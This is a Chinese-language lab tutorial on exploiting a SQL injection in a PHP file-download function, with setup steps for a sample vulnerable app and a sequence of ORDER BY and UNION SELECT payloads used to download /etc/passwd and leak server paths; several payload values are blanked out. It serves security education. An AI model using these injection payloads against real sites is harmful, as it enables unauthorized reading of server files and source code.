寫在前面的話
SQL注入可以稱得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已經(jīng)給整個網(wǎng)絡(luò)世界造成了巨大的破壞。針對SQL漏洞,研究人員也已經(jīng)開發(fā)出了多種不同的利用技術(shù)來實(shí)施攻擊,包括非法訪問存儲在遠(yuǎn)程數(shù)據(jù)庫中的數(shù)據(jù)、從服務(wù)器讀/寫數(shù)據(jù)、以及通過MSSQL的SA賬號完成任意命令執(zhí)行等等。
在這篇文章中,我們準(zhǔn)備利用一個存在于文件下載函數(shù)中的SQL注入漏洞,我們將利用存在漏洞的SQL語句并從遠(yuǎn)程服務(wù)器中下載我們所需要的文件。假設(shè)現(xiàn)在有一個由用戶提供的參數(shù),我們可以將這個參數(shù)添加到SQL查詢語句之中,當(dāng)SQL語句處理完這個參數(shù)之后,查詢語句將會返回我們目標(biāo)文件的地址?,F(xiàn)在,如果我們將這條SQL查詢語句返回的文件地址提供給文件下載函數(shù)的話,我們就可以下載服務(wù)器中的本地文件了。在這種情況下,如果Web應(yīng)用沒有對用戶的輸入進(jìn)行檢測的話,攻擊者就可以在知道文件地址的情況下通過構(gòu)造SQL語句來下載任意文件了,不過這個文件必須要有可讀權(quán)限才行。
所以在這篇文章中,我將會給大家講解這個SQL注入漏洞。實(shí)際上,這個漏洞是PHP文件下載函數(shù)中的一個本地文件泄露漏洞,我們所使用的Web應(yīng)用后端為MySQL數(shù)據(jù)庫。
實(shí)驗(yàn)環(huán)境
為了演示漏洞的利用過程,我們需要在設(shè)備上完成以下配置:
1.Web服務(wù)器(我用的是Apache);
2.PHP環(huán)境
3.MySQL數(shù)據(jù)庫
4.包含漏洞的Web應(yīng)用樣本,你可以從我的GitHub上下載【下載地址】。
下載樣本代碼,然后用以下信息創(chuàng)建一個MySQL用戶:
=dsqli
=
And name = dsqli
為了創(chuàng)建數(shù)據(jù)庫,用戶必須要有數(shù)據(jù)庫的讀權(quán)限,請大家按照下面的步驟進(jìn)行操作。
首先以root賬號登錄MySQL的終端控制臺,然后用下面的語句創(chuàng)建一個新的數(shù)據(jù)庫:
Create dsqli;
然后創(chuàng)建新用戶“dsqli”,密碼為“”,并賦予數(shù)據(jù)庫dsqli的讀/寫權(quán)限:
grant all on dsqli.* to dsqli@ BY '';
當(dāng)你設(shè)置好了數(shù)據(jù)庫和用戶賬號之后,直接將據(jù)庫文件dsqli.sql導(dǎo)入到dsqli數(shù)據(jù)庫中。導(dǎo)入成功之后,數(shù)據(jù)庫中將會出現(xiàn)一個表:
i) (列名為id、、)
漏洞分析
我們給出的漏洞利用技術(shù)只有當(dāng)SQL查詢語句的返回值會傳遞給目標(biāo)Web應(yīng)用的文件下載函數(shù)時才能奏效,我們的樣本代碼中存在SQL注入漏洞,而SQl查詢語句返回的數(shù)據(jù)會被傳遞給PHP的文件下載函數(shù)()。
我們可以從上面這段代碼中看到,如果我們可以想辦法修改查詢語句,然后讓SQL查詢語句將服務(wù)器本地文件或Web應(yīng)用源碼文件的地址保存在$row[‘’]變量之中,那么()函數(shù)將會幫我們把這個文件下載下來。實(shí)際上,我們只需要在SQL查詢中使用UNION就可以輕松實(shí)現(xiàn)注入,在注入的過程中,我們需要提供目標(biāo)文件完整的本地路徑,然后再以十六進(jìn)制格式下載該文件。
漏洞利用
1. 通過SQL注入獲取服務(wù)器本地文件
首先,我們要確定目標(biāo)Web應(yīng)用是否存在基于整型的SQL注入漏洞或基于字符串的SQL注入漏洞。確定之后,我們還要確定SQL語句所查詢的表中有多少列。
在我們給出的樣本中,Web應(yīng)用存在基于整型的SQL注入漏洞。
確定表中有多少列:
首先我們要知道,如果查詢語句正確執(zhí)行并給出了輸出結(jié)果,我們將會看到彈出的文件下載窗口。那么為了確定表中列的數(shù)量,我們需要注入order by子句并不斷增加order by的值,直到Web應(yīng)用停止彈出下載窗口為止。
樣本W(wǎng)eb應(yīng)用的index.php中存在SQL注入漏洞,index.php頁面中的文件下載請求參數(shù)如下:
image=1&=
現(xiàn)在,我們可以嘗試用order by字句枚舉出列數(shù)量。
Page Index.php
Post
image=1 order by 1--&=
現(xiàn)在,向語句中注入?yún)?shù)‘order by 5–’
Page index.php
Post
image=1 order by 5--&=
當(dāng)我們將order by字句的值從1增加到5之后,Web應(yīng)用就不會再彈出下載窗口了,所以select語句所使用的列值肯定是小于5的。接下來我們試一下‘order by 4’:
Page index.php
Post
image=1 order by 4--&=
從上圖中可以看到,我們剛才的語句導(dǎo)致頁面出現(xiàn)了錯誤,接下來嘗試一下‘order by 3’:
Page index.php
Post
image=1 order by 3--&=
這一次Web頁面終于彈出了文件下載窗口,所以這個表的列數(shù)量為3?,F(xiàn)在我們可以嘗試用UNION語句完成注入了。注入后的請求如下:
Page index.php
Post
image=1 union select 1,2,3--&=
這條注入請求同樣會讓頁面彈出文件下載窗口。
確定用于文件下載的列:
現(xiàn)在既然我們已經(jīng)確定了表中的列數(shù)量,接下來我們就要找到那個允許我們定義文件路徑的列。我們需要將文件路徑的十六進(jìn)制依次填入語句的列編號之中,直到我們找到了目標(biāo)列為止。
接下來,我們可以嘗試下載/etc/passwd文件。首先我們需要將字符串‘/etc/passwd’轉(zhuǎn)換為十六進(jìn)制格式(我使用的是Firefox的hex bar插件),然后在字符串前面加上一個‘0x’。我們現(xiàn)在還不能確定Web應(yīng)用到底是用數(shù)據(jù)庫表中的哪一列來獲取文件路徑的,所以我們先用‘/etc/passwd’的十六進(jìn)制值替換union select語句中的‘1’,具體如下圖所示:
修改之前的查詢語句如下:
Page index.php
Post
image=1 union select 1,2,3--&=
修改之后的查詢語句如下:
Page index.php
Post
image=1 union select 1,2,3--&=
我們需要將包含漏洞的參數(shù)值修改為一個無效值,這樣一來,當(dāng)原本的查詢語句跟我們注入的查詢子句一起執(zhí)行時,原本的查詢語句將不會返回任何內(nèi)容,而我們注入的查詢語句將會返回我們想要的結(jié)果。如果我們沒有進(jìn)行這樣的修改,那么頁面執(zhí)行的仍然是原本合法的文件下載請求。修改之后的查詢語句如下(修改了image的值):
Page index.php
Post
image=1337 union select 1,2,3--&=
好的,如果我們注入的是能夠?qū)⑽募刂贩祷亟o文件下載函數(shù)的列,那么Web應(yīng)用將會幫我們下載/etc/passwd文件。
不幸的是,Web應(yīng)用彈出了錯誤信息,這意味著我們選錯了一個列。接下來用第二列試一下。修改后的請求如下:
Page index.php
Post
image=1337 union select 1,,3-- &=
還是沒有成功,那么第三列應(yīng)該沒問題了吧?修改后的請求如下:
Page index.php
Post
image=1337 union select 1,2,-- &=
果不其然,這一次終于成功了,我們成功將Web應(yīng)用的passwd文件下載了下來。當(dāng)然了,如果我們能夠直到Web應(yīng)用的文件結(jié)構(gòu)或路徑,我們甚至還可以下載Web應(yīng)用的源代碼。對于PHP項(xiàng)目來說,我們可以通過修改參數(shù)類型來獲取Web應(yīng)用的本地目錄結(jié)構(gòu)。在我們的實(shí)驗(yàn)環(huán)境中,原始的請求如下:
image=1&=
將‘image’參數(shù)修改為數(shù)組類型之后,請求如下:
image[]=1&=
現(xiàn)在,我們就知道了服務(wù)器的本地目錄結(jié)構(gòu)了,我們只需要將文件路徑的十六進(jìn)制值填入查詢語句的列編號之中就可以下載任意文件了。如果你對SQL注入漏洞感興趣的話,可以親自動手搭建環(huán)境并進(jìn)行測試,相信你肯定會在這個過程中收獲不少的東西。
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。